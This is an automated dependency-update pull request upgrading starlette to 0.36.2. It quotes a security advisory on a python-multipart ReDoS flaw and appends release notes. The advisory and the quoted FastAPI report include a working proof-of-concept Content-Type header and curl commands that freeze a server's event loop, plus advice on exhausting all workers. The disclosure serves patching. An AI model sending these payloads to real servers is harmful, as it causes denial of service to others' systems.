build(deps): update dependency starlette to v0.36.2 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
starlette (changelog)	0.34.0 -> 0.36.2

GitHub Vulnerability Alerts

GHSA-93gm-qmq6-w238

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the Request is enough:

# main.py
from starlette.requests import Request
from starlette.responses import JSONResponse

async def app(scope, receive, send):
    assert scope["type"] == "http"
    request = Request(scope, receive)
    data = await request.form()
    response_data = {}
    for key in data:
        print(key, data.getlist(key))
        response_data[key] = data.getlist(key)
    response = JSONResponse(response_data)
    await response(scope, receive, send)

Then start it with:

$ uvicorn main:app

INFO:     Started server process [50601]
INFO:     Waiting for application startup.
INFO:     ASGI 'lifespan' protocol appears unsupported.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'

Stopping it

Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.

To stop it, first check the process ID running Uvicorn:

$ ps -fA | grep uvicorn

  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn

In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:

$ kill -9 59461

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @​nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@​app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@​app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@​app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

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Release Notes

encode/starlette (starlette)

v0.36.2: Version 0.36.2

Compare Source

Fixed

• Upgrade python-multipart to 0.0.7 13e5c26.
• Avoid duplicate charset on Content-Type #​2443.

---

Full Changelog: encode/starlette@0.36.1...0.36.2

v0.36.1: Version 0.36.1

Compare Source

Fixed

• Check if "extensions" in scope before checking the extension #​2438.

---

Full Changelog: encode/starlette@0.36.0...0.36.1

v0.36.0: Version 0.36.0

Compare Source

Added

• Add support for ASGI pathsend extension #​2435.
• Cancel WebSocketTestSession on close #​2427.
• Raise WebSocketDisconnect when WebSocket.send() excepts IOError #​2425.
• Raise FileNotFoundError when the env_file parameter on Config is not valid #​2422.

---

Full Changelog: encode/starlette@0.35.1...0.36.0

v0.35.1: Version 0.35.1

Compare Source

Fixed

• Stop using the deprecated "method" parameter in FileResponse inside of StaticFiles #​2406.
• Make typing-extensions optional again #​2409.

---

Full Changelog: encode/starlette@0.35.0...0.35.1

v0.35.0: Version 0.35.0

Compare Source

Added

• Add *args to Middleware and improve its type hints #​2381.

Fixed

• Use Iterable instead Iterator on iterate_in_threadpool #​2362.

Changes

• Handle root_path to keep compatibility with mounted ASGI applications and WSGI #​2400.
• Turn scope["client"] to None on TestClient #​2377.

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Full Changelog: encode/starlette@0.34.0...0.35.0

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